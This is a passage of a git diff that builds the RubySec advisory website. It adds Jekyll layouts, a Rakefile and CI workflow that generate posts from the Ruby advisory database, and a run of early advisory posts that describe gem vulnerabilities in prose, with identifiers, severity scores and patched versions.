diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000..261abaae --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +github: + - reedloden + - postmodern diff --git a/.github/workflows/advisories.yml b/.github/workflows/advisories.yml new file mode 100644 index 00000000..1d0a80fe --- /dev/null +++ b/.github/workflows/advisories.yml @@ -0,0 +1,43 @@ +name: Update advisories + +on: + repository_dispatch: + types: [ changed ] + +jobs: + update-advisories: + runs-on: ubuntu-latest + permissions: + # Give the default GITHUB_TOKEN write permission to commit and push the + # added or changed files to the repository. + contents: write + steps: + - uses: actions/checkout@v6 + with: + persist-credentials: true + - name: Checkout ruby-advisory-db + uses: actions/checkout@v6 + with: + repository: rubysec/ruby-advisory-db + path: _advisories + - name: Set up Ruby + uses: ruby/setup-ruby@v1 + with: + ruby-version: ruby + bundler-cache: true + - name: Generate advisories + run: bundle exec rake advisories:generate + - name: Get latest advisory commit + id: git-commit + working-directory: _advisories + run: | + echo "author=$(git show -s --format='%an <%ae>')" >> $GITHUB_OUTPUT + echo "hash=$(git rev-parse --short HEAD)" >> $GITHUB_OUTPUT + - name: Commit any updates + uses: stefanzweifel/git-auto-commit-action@v7 + with: + commit_message: "Updated advisory posts against rubysec/ruby-advisory-db@${{ steps.git-commit.outputs.hash }}" + file_pattern: advisories/_posts/*.md + commit_user_name: RubySec CI + commit_user_email: ci@rubysec.com + commit_author: ${{ steps.git-commit.outputs.author }} diff --git a/404.html b/404.html new file mode 100644 index 00000000..4e02b238 --- /dev/null +++ b/404.html @@ -0,0 +1,17 @@ +--- +layout: page +title: Whoops, I couldn't find that page +footer: true +--- + +You may want to try a search above, or [visit the homepage](/). + +Also, here are some recent posts: + +
+ {% for post in site.posts limit: 10 %} +
+ {% include archive_post.html %} +
+ {% endfor %} +
diff --git a/CNAME b/CNAME index 3382a0c2..8a634083 100644 --- a/CNAME +++ b/CNAME @@ -1 +1 @@ -rubysec.com \ No newline at end of file +rubysec.com diff --git a/Gemfile b/Gemfile new file mode 100644 index 00000000..ed7bb3f0 --- /dev/null +++ b/Gemfile @@ -0,0 +1,6 @@ +source 'https://rubygems.org' + +gem 'github-pages' +gem 'rake' + +gem "webrick", "~> 1.7" diff --git a/README.md b/README.md new file mode 100644 index 00000000..ac8bd49a --- /dev/null +++ b/README.md @@ -0,0 +1,15 @@ +## rubysec.github.io + +To preview the site: + + jekyll server --watch + +To update the advisories blog posts: + + rake advisories + +To generate a static copy of the website: + + jekyll build + +To deploy, simply push to github. diff --git a/Rakefile b/Rakefile new file mode 100644 index 00000000..8d413e1b --- /dev/null +++ b/Rakefile @@ -0,0 +1,64 @@ +require 'date' +require 'yaml' + +namespace :advisories do + file '_advisories' do + system 'git clone --depth 1 https://github.com/rubysec/ruby-advisory-db _advisories' + end + + desc 'Updates the advisory db' + task :update => '_advisories' do + Dir.chdir('_advisories') { sh 'git pull --ff-only' } unless ENV['CI'] + end + + desc 'Regenerate the advisory posts' + task :generate => :update do + Rake::FileList['_advisories/gems/*/*.yml'].each do |advisory_path| + advisory = YAML.safe_load_file(advisory_path, permitted_classes: [Date]) + + id = if advisory['cve'] then "CVE-#{advisory['cve']}" + elsif advisory['ghsa'] then "GHSA-#{advisory['ghsa']}" + elsif advisory['osvdb'] then "OSVDB-#{advisory['osvdb']}" + else File.basename(advisory_path, ".*") + end + slug = "#{advisory['date']}-#{id}" + post = File.join('advisories', '_posts', "#{slug}.md") + + if advisory['description'] + advisory['description'] = advisory['description'].strip + end + + if advisory['impact'] + advisory['impact'] = advisory['impact'].strip + end + + if advisory['workarounds'] + advisory['workarounds'] = advisory['workarounds'].strip + end + + File.open(post, 'w') do |file| + header = { + 'layout' => 'advisory', + 'title' => "#{id} (#{advisory['gem']}): #{advisory['title']}", + 'comments' => false, + 'categories' => [advisory['gem'], advisory['library'], advisory['framework'], advisory['platform']].compact, + 'advisory' => advisory + } + + YAML.dump(header, file) + file.puts '---' + end + end + end + + desc 'Commits changes to advisories/_posts/' + task :commit do + rev = Dir.chdir('_advisories') { %x(git rev-parse --short HEAD).strip } + message = "Updated advisory posts against rubysec/ruby-advisory-db@#{rev}" + + sh "git add advisories/_posts/*.md" + sh "git commit --allow-empty -m #{message.dump} advisories/_posts/" + end +end + +task :advisories => ['advisories:generate', 'advisories:commit'] diff --git a/_config.yml b/_config.yml new file mode 100644 index 00000000..3a3eb9cf --- /dev/null +++ b/_config.yml @@ -0,0 +1,41 @@ +url: https://rubysec.com +title: RubySec +subtitle: Providing security resources for the Ruby community +author: RubySec +simple_search: https://www.google.com/search +description: Advisory database of security vulnerabilities found in Ruby projects + +exclude: + [ + .bundle, + .github, + _advisories, + CNAME, + Gemfile, + Rakefile, + README.md, + vendor, + ] + +plugins: + - jekyll-paginate + - jekyll-sitemap + +subscribe_rss: /atom.xml + +permalink: /advisories/:title/ +category_dir: advisories/categories + +paginate: 10 # Posts per page on the blog index +pagination_dir: advisories # Directory base for pagination URLs eg. /blog/page/2/ +recent_posts: 5 # Posts in the sidebar Recent Posts section +excerpt_link: "Read on →" # "Continue reading" link text at the bottom of excerpted articles + +titlecase: false # Converts page and post titles to titlecase + +twitter_user: rubysec +twitter_tweet_button: true + +github_repo: rubysec/ruby-advisory-db + +google_analytics: G-P90QEESFMF diff --git a/_includes/after_footer.html b/_includes/after_footer.html new file mode 100644 index 00000000..8d8a0434 --- /dev/null +++ b/_includes/after_footer.html @@ -0,0 +1,2 @@ + + diff --git a/_includes/archive_post.html b/_includes/archive_post.html new file mode 100644 index 00000000..ace2dc0c --- /dev/null +++ b/_includes/archive_post.html @@ -0,0 +1,9 @@ + +

+ + +

{{post.title}}

+ {% if post.categories != empty or post.tags != empty %} +

posted in {% include category_links.html categories=post.categories tags=post.tags %}

+ {% endif %} + diff --git a/_includes/article.html b/_includes/article.html new file mode 100644 index 00000000..26ee7d9c --- /dev/null +++ b/_includes/article.html @@ -0,0 +1,25 @@ +{% unless page.no_header %} +
+ {% if index %} +

{% if site.titlecase %}{{ post.title | titlecase }}{% else %}{{ post.title }}{% endif %}

+ {% else %} +

{% if site.titlecase %}{{ page.title | titlecase }}{% else %}{{ page.title }}{% endif %}

+ {% endif %} + {% unless page.meta == false %} +

+ {% include post/date.html %}{{ time }} +

+ {% endunless %} +
+{% endunless %} +{% if index %} +
{{ content | excerpt }}
+ {% capture excerpted %}{{ content | has_excerpt }}{% endcapture %} + {% if excerpted == 'true' %} + + {% endif %} +{% else %} +
{{ content }}
+{% endif %} diff --git a/_includes/category_links.html b/_includes/category_links.html new file mode 100644 index 00000000..28cdcbf6 --- /dev/null +++ b/_includes/category_links.html @@ -0,0 +1,21 @@ +{% if include.categories != empty %} • + {% for category in include.categories %} + {% assign no_comma = forloop.last %} + {% for archive in site.archives %} + {% if archive.type == "category" and archive.title == category %} + {{ archive.title | escape }}{% unless no_comma %},{% endunless %} + {% endif %} + {% endfor %} + {% endfor %} +{% endif %} + +{% if include.tags != empty %} • + {% for tag in include.tags %} + {% assign no_comma = forloop.last %} + {% for archive in site.archives %} + {% if archive.type == "tag" and archive.title == tag %} + {{ archive.title | escape }}{% unless no_comma %},{% endunless %} + {% endif %} + {% endfor %} + {% endfor %} +{% endif %} diff --git a/_includes/footer.html b/_includes/footer.html new file mode 100644 index 00000000..a2cbfa8b --- /dev/null +++ b/_includes/footer.html @@ -0,0 +1,6 @@ +
+
+

Copyright © {{ site.time | date: "%Y" }} - {{ site.author }}

+

This domain was graciously donated by Jordi Massaguer.

+
+
diff --git a/_includes/head.html b/_includes/head.html new file mode 100644 index 00000000..1ae7b531 --- /dev/null +++ b/_includes/head.html @@ -0,0 +1,39 @@ + + + + + {% if page.title %}{{ page.title }} - {% endif %}{{ site.title }} + + + {% capture description %}{% if page.description %}{{ page.description }}{% else %}{{ content | raw_content }}{% endif %}{% endcapture %} + + {% if page.keywords %}{% endif %} + + + + + + {% capture canonical %}{{ site.url }}{% if site.permalink contains '.html' %}{{ page.url }}{% else %}{{ page.url | remove:'index.html' | strip_slash }}{% endif %}{% endcapture %} + + + + + + + + + + + + + + + + + diff --git a/_includes/header.html b/_includes/header.html new file mode 100644 index 00000000..c46c5e94 --- /dev/null +++ b/_includes/header.html @@ -0,0 +1,30 @@ +
+
+ + + + {% if site.subscribe_rss %} + + {% endif %} + + {% if site.twitter_user %} + + {% endif %} + + {% if site.github_repo %} + + {% endif %} + +
Get Updates:   Via Atom  On Twitter  On GitHub
+
+ +
+

+ + {{ site.title }} +

+ {% if site.subtitle %} +

{{ site.subtitle }}

+ {% endif %} +
+
diff --git a/_includes/navigation.html b/_includes/navigation.html new file mode 100644 index 00000000..98c9f2ad --- /dev/null +++ b/_includes/navigation.html @@ -0,0 +1,32 @@ +
+
+
+ + + + + +
+ + {% if site.simple_search %} +
+
+ + +
+
+ {% endif %} + {% if site.feedburner_url %} +
    +
  • + +
    • +
+ {% endif %} +
+
+
+
diff --git a/_includes/post/author.html b/_includes/post/author.html new file mode 100644 index 00000000..83dd6a89 --- /dev/null +++ b/_includes/post/author.html @@ -0,0 +1,8 @@ +{% if post.author %} + {% assign author = post.author %} +{% elsif page.author %} + {% assign author = page.author %} +{% else %} + {% assign author = site.author %} +{% endif %} +{% if author %}Posted by {{ author }}{% endif %} diff --git a/_includes/post/categories.html b/_includes/post/categories.html new file mode 100644 index 00000000..80becd66 --- /dev/null +++ b/_includes/post/categories.html @@ -0,0 +1,9 @@ +{% if post.categories != empty or post.tags != empty or page.categories != empty or page.tags != empty %} + + {% if post %} + {% include category_links.html categories=post.categories tags=post.tags %} + {% else %} + {% include category_links.html categories=page.categories tags=page.tags %} + {% endif %} + +{% endif %} diff --git a/_includes/post/date.html b/_includes/post/date.html new file mode 100644 index 00000000..d8f67d46 --- /dev/null +++ b/_includes/post/date.html @@ -0,0 +1,23 @@ +{% capture date %}{{ page.date }}{{ post.date }}{% endcapture %} +{% capture date_formatted %} +{% unless post.date %} +{% assign d = page.date | date: "%-d" %}{{ page.date | date: "%B" }} {% case d %}{% when '1' or '21' or '31' %}{{ d }}st{% when '2' or '22' %}{{ d }}nd{% when '3' or '23' %}{{ d }}rd{% else %}{{ d }}th{% endcase %}, {{ page.date | date: "%Y" }} +{% else %} +{% assign d = post.date | date: "%-d" %}{{ post.date | date: "%B" }} {% case d %}{% when '1' or '21' or '31' %}{{ d }}st{% when '2' or '22' %}{{ d }}nd{% when '3' or '23' %}{{ d }}rd{% else %}{{ d }}th{% endcase %}, {{ post.date | date: "%Y" }} +{% endunless %} +{% endcapture %} +{% capture has_date %}{{ date | size }}{% endcapture %} + +{% capture updated %}{{ page.updated }}{{ post.updated }}{% endcapture %} +{% capture updated_formatted %}{{ page.updated_formatted }}{{ post.updated_formatted }}{% endcapture %} +{% capture was_updated %}{{ updated | size }}{% endcapture %} + +{% if has_date != '0' %} + {% capture time %}{% endcapture %} +{% endif %} + +{% if was_updated != '0' %} + {% capture updated %}{% endcapture %} +{% else %}{% assign updated = false %}{% endif %} + +{{ post.date_formatted }} diff --git a/_includes/post/sharing.html b/_includes/post/sharing.html new file mode 100644 index 00000000..1e6ddfb3 --- /dev/null +++ b/_includes/post/sharing.html @@ -0,0 +1,21 @@ +{% if post.title %} + {% assign title = post.title %} +{% elsif page.title %} + {% assign title = page.title %} +{% else %} + {% assign title = site.title %} +{% endif %} +{% if post.url %} + {% assign url = post.url %} +{% elsif page.url %} + {% assign url = page.url %} +{% else %} + {% assign url = site.url %} +{% endif %} +
+
+ + + + +
diff --git a/_includes/sidebar.html b/_includes/sidebar.html new file mode 100644 index 00000000..32fd7c6d --- /dev/null +++ b/_includes/sidebar.html @@ -0,0 +1,19 @@ +{% unless page.sidebar == false %} +
+
+ Contact us @rubysec or open an issue on our GitHub repository. +
+
+
+

Recent Advisories

+
    + {% for post in site.posts limit: site.recent_posts %} +
  • + {{ post.title }} +
    • + {% endfor %} +
+
+
+
+{% endunless %} diff --git a/_layouts/advisory.html b/_layouts/advisory.html new file mode 100644 index 00000000..ba373023 --- /dev/null +++ b/_layouts/advisory.html @@ -0,0 +1,244 @@ +--- +layout: post +--- + +
+

{{ page.advisory.title }}

+ {% if page.advisory.date %} +

Published: {{ page.advisory.date | date: "%B %d, %Y" }}

+ {% endif %} +
+ +

SECURITY IDENTIFIERS

+ + + +

GEM

+ +

+{{ page.advisory.gem }} +

+ +{% if page.advisory.library %} +

LIBRARY

+ +

+{% if page.advisory.library == "rubygems" %} + RubyGems +{% else %} + {{ page.advisory.library }} +{% endif %} +

+{% endif %} + +{% if page.advisory.framework %} +

FRAMEWORK

+ +

+{% if page.advisory.framework == "rails" %} + Ruby on Rails +{% else %} + {{ page.advisory.framework }} +{% endif %} +

+{% endif %} + +{% if page.advisory.platform %} +

PLATFORM

+ +

+{% if page.advisory.platform == "goruby" %} + GoRuby +{% elsif page.advisory.platform == "ironruby" %} + IronRuby +{% elsif page.advisory.platform == "jruby" %} + JRuby +{% elsif page.advisory.platform == "macruby" %} + MacRuby +{% elsif page.advisory.platform == "maglev" %} + MagLev +{% elsif page.advisory.platform == "rbx" or page.advisory.platform == "rubinius" %} + Rubinius +{% elsif page.advisory.platform == "ree" %} + Ruby Enterprise Edition +{% else %} + {{ page.advisory.platform }} +{% endif %} +

+{% endif %} + +{% if page.advisory.cvss_v2 or page.advisory.cvss_v3 %} +

SEVERITY

+ +
+{% if page.advisory.cvss_v3 %} +{% assign cvss_v3 = page.advisory.cvss_v3 %} +
+

CVSS v3.x: {{ cvss_v3 }} ( + {%- if cvss_v3 == 0.0 -%} + None + {%- elsif cvss_v3 >= 0.1 and cvss_v3 <= 3.9 -%} + Low + {%- elsif cvss_v3 >= 4.0 and cvss_v3 <= 6.9 -%} + Medium + {%- elsif cvss_v3 >= 7.0 and cvss_v3 <= 8.9 -%} + High + {%- elsif cvss_v3 >= 9.0 and cvss_v3 <= 10.0 -%} + Critical + {%- endif -%} + )

+
+{% endif %} + +{% if page.advisory.cvss_v2 %} +{% assign cvss_v2 = page.advisory.cvss_v2 %} +
+

CVSS v2.0: {{ cvss_v2 }} ( + {%- if cvss_v2 >= 0.0 and cvss_v2 <= 3.9 -%} + Low + {%- elsif cvss_v2 >= 4.0 and cvss_v2 <= 6.9 -%} + Medium + {%- elsif cvss_v2 >= 7.0 and cvss_v2 <= 10.0 -%} + High + {%- endif -%} + )

+
+{% endif %} +
+{% endif %} + +{% if page.advisory.unaffected_versions %} +

UNAFFECTED VERSIONS

+ +
+ {% for version in page.advisory.unaffected_versions %} + {{ version | escape }} + {% endfor %} +
+{% endif %} + +

PATCHED VERSIONS

+ +
+{% if page.advisory.patched_versions %} + {% for version in page.advisory.patched_versions %} + {{ version | escape }} + {% endfor %} +{% else %} +

None available.

+{% endif %} +
+ +

DESCRIPTION

+ +
+{{ page.advisory.description | xml_escape | markdownify }} +
+ +{% if page.advisory.impact %} +

IMPACT

+ +
+{{ page.advisory.impact | xml_escape | markdownify }} +
+{% endif %} + +{% if page.advisory.workarounds %} +

WORKAROUNDS

+ +
+{{ page.advisory.workarounds | xml_escape | markdownify }} +
+{% endif %} + +{% if page.advisory.patches %} +

PATCHES

+ + +{% endif %} + +{% if page.advisory.credits %} +

CREDITS

+ +
+{% if page.advisory.credits.size > 0 %} +

Thank you to the following security researchers:

+ +{% else %} +

{{ page.advisory.credits }}

+{% endif %} +
+{% endif %} + +{% if page.advisory.related %} +

RELATED

+ + +{% endif %} diff --git a/_layouts/category_index.html b/_layouts/category_index.html new file mode 100644 index 00000000..85a63072 --- /dev/null +++ b/_layouts/category_index.html @@ -0,0 +1,17 @@ +--- +layout: page +footer: false +--- + +
+{% for post in site.categories[page.category] %} +{% capture this_year %}{{ post.date | date: "%Y" }}{% endcapture %} +{% unless year == this_year %} + {% assign year = this_year %} +

{{ year }}

+{% endunless %} +
+ {% include archive_post.html %} +
+{% endfor %} +
diff --git a/_layouts/default.html b/_layouts/default.html new file mode 100644 index 00000000..1d04d6d9 --- /dev/null +++ b/_layouts/default.html @@ -0,0 +1,19 @@ +{% capture root_url %}{% if site.baseurl != '/' %}{{ site.baseurl }}{% endif %}{% endcapture %} +{% include head.html %} + + +
+
+ {% include header.html %} + {% include navigation.html %} +
+
+
+ {{ content | expand_urls: root_url }} +
+
+ + {% include after_footer.html %} +
+ + diff --git a/_layouts/page.html b/_layouts/page.html new file mode 100644 index 00000000..9909d11d --- /dev/null +++ b/_layouts/page.html @@ -0,0 +1,42 @@ +--- +layout: default +--- + +
+ {% if page.sidebar and site.sidebar_posn == "left" %} + {% include sidebar.html %} + {% endif %} +
+ {% if page.title %} +
+

{% if site.titlecase %}{{ page.title | titlecase }}{% else %}{{ page.title }}{% endif %}

+ {% if page.date %}

{% include post/date.html %}{{ time }}

{% endif %} +
+ {% endif %} + + {{ content }} + + {% unless page.footer == false %} +
+ {% if page.date or page.author %}

+ {% if page.author %}{% include post/author.html %}{% endif %} + {% include post/date.html %}{% if updated %}{{ updated }}{% else %}{{ time }}{% endif %} + {% if page.categories %}{% include post/categories.html %}{% endif %} +

{% endif %} + {% unless page.sharing == false %} + {% include post/sharing.html %} + {% endunless %} +
+ {% endunless %} + + {% if site.disqus_short_name and page.comments == true %} +
+

Comments

+
{% include post/disqus_thread.html %}
+
+ {% endif %} +
+ {% if page.sidebar and site.sidebar_posn != "left" %} + {% include sidebar.html %} + {% endif %} +
diff --git a/_layouts/post.html b/_layouts/post.html new file mode 100644 index 00000000..79dbcd0c --- /dev/null +++ b/_layouts/post.html @@ -0,0 +1,36 @@ +--- +layout: default +single: true +# page.sidebar is not necessarily set for pages - assume true if not set +--- + +
+ {% if page.sidebar != false and site.sidebar_posn == "left" %} + {% include sidebar.html %} + {% endif %} +
+ {% include article.html %} + +
+ + {% if page.sidebar != false and site.sidebar_posn != "left" %} + {% include sidebar.html %} + {% endif %} +
diff --git a/advisories/_posts/2006-05-14-CVE-2006-2581.md b/advisories/_posts/2006-05-14-CVE-2006-2581.md new file mode 100644 index 00000000..5cbbb392 --- /dev/null +++ b/advisories/_posts/2006-05-14-CVE-2006-2581.md @@ -0,0 +1,46 @@ +--- +layout: advisory +title: 'CVE-2006-2581 (rwiki): RWiki before 2.1.1 has cross-site scripting vulnerability' +comments: false +categories: +- rwiki +advisory: + gem: rwiki + cve: 2006-2581 + ghsa: gvhx-gj42-m28v + url: https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html + title: RWiki before 2.1.1 has cross-site scripting vulnerability + date: 2006-05-14 + description: |- + Cross-site scripting (XSS) vulnerability in Wiki content in + RWiki 2.1.0pre1 through 2.1.0 allows remote attackers to inject + arbitrary web script or HTML via unknown attack vectors. + cvss_v2: 4.3 + unaffected_versions: + - "< 2.1.0pre1" + patched_versions: + - ">= 2.1.1" + related: + cve: + - 2006-2582 + ghsa: + - wwmf-6p58-6vj2 + url: + - https://nvd.nist.gov/vuln/detail/CVE-2006-2581 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/26664 + - https://github.com/advisories/GHSA-wwmf-6p58-6vj2 + - https://github.com/advisories/GHSA-gvhx-gj42-m28v + - https://rubygems.org/gems/rwiki + - https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html + - https://web.archive.org/web/20090504061152/http://pub.cozmixng.org/~the-rwiki/rw-cgi.rb?cmd=view;name=top + - https://web.archive.org/web/20081201080215/http://secunia.com/advisories/20264 + - https://web.archive.org/web/20090524010623/http://www.vupen.com/english/advisories/2006/1949 + notes: | + - Best references are in Japanese. + - Source code link on rubygems.org goes to + lucassus/rwiki (last version 0.2.5, not 2.1.1). + - Found two other repos: + - https://github.com/rwiki/rwiki + - https://github.com/ytakhs/rwiki + - CWE: [NVD-CWE-Other] MODERATE +--- diff --git a/advisories/_posts/2006-05-14-CVE-2006-2582.md b/advisories/_posts/2006-05-14-CVE-2006-2582.md new file mode 100644 index 00000000..94bd0fef --- /dev/null +++ b/advisories/_posts/2006-05-14-CVE-2006-2582.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2006-2582 (rwiki): High severity vulnerability that affects rwiki' +comments: false +categories: +- rwiki +advisory: + gem: rwiki + cve: 2006-2582 + ghsa: wwmf-6p58-6vj2 + url: https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html + title: High severity vulnerability that affects rwiki + date: 2006-05-14 + description: |- + The editing form in RWiki 2.1.0pre1 through 2.1.0 allows remote + attackers to execute arbitrary Ruby code via unknown attack vectors. + cvss_v2: 7.5 + unaffected_versions: + - "< 2.1.0pre1" + patched_versions: + - ">= 2.1.1" + related: + cve: + - 2006-2581 + ghsa: + - gvhx-gj42-m28v + url: + - https://nvd.nist.gov/vuln/detail/CVE-2006-2582 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/26664 + - https://github.com/advisories/GHSA-wwmf-6p58-6vj2 + - https://github.com/advisories/GHSA-gvhx-gj42-m28v + - https://rubygems.org/gems/rwiki + - https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html + - https://web.archive.org/web/20090504061152/http://pub.cozmixng.org/~the-rwiki/rw-cgi.rb?cmd=view;name=top + - https://web.archive.org/web/20081201080215/http://secunia.com/advisories/20264 + - https://web.archive.org/web/20090524010623/http://www.vupen.com/english/advisories/2006/1949 + notes: | + - Best references are in Japanese. + - Source code link on rubygems.org goes to + lucassus/rwiki (last version 0.2.5, not 2.1.1). + - Found two other repos: + - https://github.com/rwiki/rwiki + - https://github.com/ytakhs/rwiki + - CWE: [NVD-CWE-Other] MODERATE +--- diff --git a/advisories/_posts/2007-01-22-CVE-2007-0469.md b/advisories/_posts/2007-01-22-CVE-2007-0469.md new file mode 100644 index 00000000..5c54dd37 --- /dev/null +++ b/advisories/_posts/2007-01-22-CVE-2007-0469.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2007-0469 (rubygems-update): CVE-2007-0469 RubyGems: Specially-crafted + Gem archive can overwrite system files' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2007-0469 + osvdb: 33561 + ghsa: 95vx-q4c2-64gr + url: https://nvd.nist.gov/vuln/detail/CVE-2007-0469 + title: 'CVE-2007-0469 RubyGems: Specially-crafted Gem archive can overwrite system + files' + date: 2007-01-22 + description: |- + The extract_files function in installer.rb in RubyGems before 0.9.1 does + not check whether files exist before overwriting them, which allows user-assisted + remote attackers to overwrite arbitrary files, cause a denial of service, or execute + arbitrary code via crafted GEM packages. + cvss_v2: 9.3 + patched_versions: + - ">= 0.9.1" +--- diff --git a/advisories/_posts/2007-05-21-OSVDB-101157.md b/advisories/_posts/2007-05-21-OSVDB-101157.md new file mode 100644 index 00000000..24b44327 --- /dev/null +++ b/advisories/_posts/2007-05-21-OSVDB-101157.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-101157 (json): json Gem for Ruby Data Handling Stack Buffer Overflow' +comments: false +categories: +- json +advisory: + gem: json + osvdb: 101157 + url: https://security.snyk.io/vuln/SNYK-RUBY-JSON-20000 + title: json Gem for Ruby Data Handling Stack Buffer Overflow + date: 2007-05-21 + description: |- + json Gem for Ruby contains an overflow condition that is triggered as + user-supplied input is not properly validated when handling specially crafted + data. This may allow a remote attacker to cause a stack-based buffer + overflow, resulting in a denial of service or potentially allowing the + execution of arbitrary code. + patched_versions: + - ">= 1.1.0" + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-JSON-20000 + - http://osvdb.org/show/osvdb/101157 +--- diff --git a/advisories/_posts/2007-06-15-OSVDB-95668.md b/advisories/_posts/2007-06-15-OSVDB-95668.md new file mode 100644 index 00000000..08b4ec80 --- /dev/null +++ b/advisories/_posts/2007-06-15-OSVDB-95668.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-95668 (builder): Builder Gem for Ruby Tag Name Handling Private Method + Exposure' +comments: false +categories: +- builder +advisory: + gem: builder + osvdb: 95668 + url: https://my.diffend.io/gems/builder/2.1.1/2.1.2 + title: Builder Gem for Ruby Tag Name Handling Private Method Exposure + date: 2007-06-15 + description: |- + Builder Gem for Ruby contains a flaw in the handling of tag names. The issue + is triggered when the program reads tag names from XML data and then calls a + method with that name. With a specially crafted file, a context-dependent + attacker can call private methods and manipulate data. + patched_versions: + - ">= 2.1.2" + related: + url: + - https://my.diffend.io/gems/builder/2.1.1/2.1.2 + - http://osvdb.org/show/osvdb/95668 +--- diff --git a/advisories/_posts/2007-11-27-CVE-2007-6183.md b/advisories/_posts/2007-11-27-CVE-2007-6183.md new file mode 100644 index 00000000..f0151835 --- /dev/null +++ b/advisories/_posts/2007-11-27-CVE-2007-6183.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2007-6183 (gtk2): CVE-2007-6183 ruby-gnome2: format string vulnerability' +comments: false +categories: +- gtk2 +advisory: + gem: gtk2 + cve: 2007-6183 + osvdb: 40774 + ghsa: xgj6-pgrm-x4r2 + url: https://nvd.nist.gov/vuln/detail/CVE-2007-6183 + title: 'CVE-2007-6183 ruby-gnome2: format string vulnerability' + date: 2007-11-27 + description: |- + Format string vulnerability in the mdiag_initialize function in gtk/src/rbgtkmessagedialog.c + in Ruby-GNOME 2 (aka Ruby/Gnome2) 0.16.0, and SVN versions before 20071127, allows + context-dependent attackers to execute arbitrary code via format string specifiers + in the message parameter. + cvss_v2: 6.8 + patched_versions: + - "> 0.16.0" +--- diff --git a/advisories/_posts/2008-08-12-CVE-2008-7311.md b/advisories/_posts/2008-08-12-CVE-2008-7311.md new file mode 100644 index 00000000..52d93d00 --- /dev/null +++ b/advisories/_posts/2008-08-12-CVE-2008-7311.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2008-7311 (spree): Spree Hardcoded config.action_controller_session Hash + Value Cryptographic Protection Weakness' +comments: false +categories: +- spree +advisory: + gem: spree + cve: 2008-7311 + osvdb: 81506 + ghsa: g466-57gh-cqfw + url: https://spreecommerce.com/blog/security-vulernability-session-cookie-store + title: Spree Hardcoded config.action_controller_session Hash Value Cryptographic + Protection Weakness + date: 2008-08-12 + description: |- + Spree contains a hardcoded flaw related to the + config.action_controller_session hash value. This may allow an attacker to + more easily bypass cryptographic protection. + cvss_v2: 5.0 + patched_versions: + - ">= 0.3.0" +--- diff --git a/advisories/_posts/2008-08-15-OSVDB-95749.md b/advisories/_posts/2008-08-15-OSVDB-95749.md new file mode 100644 index 00000000..567e28a9 --- /dev/null +++ b/advisories/_posts/2008-08-15-OSVDB-95749.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'OSVDB-95749 (activeresource): activeresource Gem for Ruby lib/active_resource/connection.rb + request Function Multiple Variable Format String' +comments: false +categories: +- activeresource +advisory: + gem: activeresource + osvdb: 95749 + url: https://my.diffend.io/gems/activeresource/versions/2.1.0 + title: activeresource Gem for Ruby lib/active_resource/connection.rb request Function + Multiple Variable Format String + date: 2008-08-15 + description: |- + activeresource contains a format string flaw in the request function of + lib/active_resource/connection.rb. The issue is triggered as format string + specifiers (e.g. %s and %x) are not properly sanitized in user-supplied input + when passed via the 'result.code' and 'result.message' variables. This may + allow a remote attacker to cause a denial of service or potentially execute + arbitrary code. + patched_versions: + - ">= 2.2.0" + related: + url: + - https://my.diffend.io/gems/activeresource/versions/2.1.0 + - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERESOURCE-20004 + - http://osvdb.org/show/osvdb/95749 +--- diff --git a/advisories/_posts/2008-09-22-CVE-2008-7310.md b/advisories/_posts/2008-09-22-CVE-2008-7310.md new file mode 100644 index 00000000..bc663aa7 --- /dev/null +++ b/advisories/_posts/2008-09-22-CVE-2008-7310.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2008-7310 (spree): Spree Hash Restriction Weakness URL Parsing Order State + Value Manipulation' +comments: false +categories: +- spree +advisory: + gem: spree + cve: 2008-7310 + osvdb: 81505 + ghsa: 7h48-m3rw-vr27 + url: https://spreecommerce.com/blog/security-vulnerability-mass-assignment + title: Spree Hash Restriction Weakness URL Parsing Order State Value Manipulation + date: 2008-09-22 + description: |- + Spree contains a hash restriction weakness that occurs when parsing a + modified URL. This may allow an attacker to manipulate order state values. + cvss_v2: 5.0 + patched_versions: + - ">= 0.3.0" +--- diff --git a/advisories/_posts/2008-10-10-OSVDB-95376.md b/advisories/_posts/2008-10-10-OSVDB-95376.md new file mode 100644 index 00000000..555333b0 --- /dev/null +++ b/advisories/_posts/2008-10-10-OSVDB-95376.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-95376 (activerecord-oracle_enhanced-adapter): Oracle "enhanced" ActiveRecord + Gem for Ruby :limit / :offset SQL Injection' +comments: false +categories: +- activerecord-oracle_enhanced-adapter +advisory: + gem: activerecord-oracle_enhanced-adapter + osvdb: 95376 + url: https://www.versioneye.com/Ruby/activerecord-oracle_enhanced-adapter/1.1.6 + title: Oracle "enhanced" ActiveRecord Gem for Ruby :limit / :offset SQL Injection + date: 2008-10-10 + description: |- + Oracle "enhanced" ActiveRecord Gem for Ruby contains a flaw that may allow an + attacker to carry out an SQL injection attack. The issue is due to the + program not properly sanitizing user-supplied input related to the :limit and + :offset functions. This may allow an attacker to inject or manipulate SQL + queries in the back-end database, allowing for the manipulation or disclosure + of arbitrary data. + patched_versions: + - ">= 1.1.8" + related: + url: + - https://www.versioneye.com/Ruby/activerecord-oracle_enhanced-adapter/1.1.6 + - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERECORDORACLEENHANCEDADAPTER-20006 + - http://osvdb.org/show/osvdb/95376 +--- diff --git 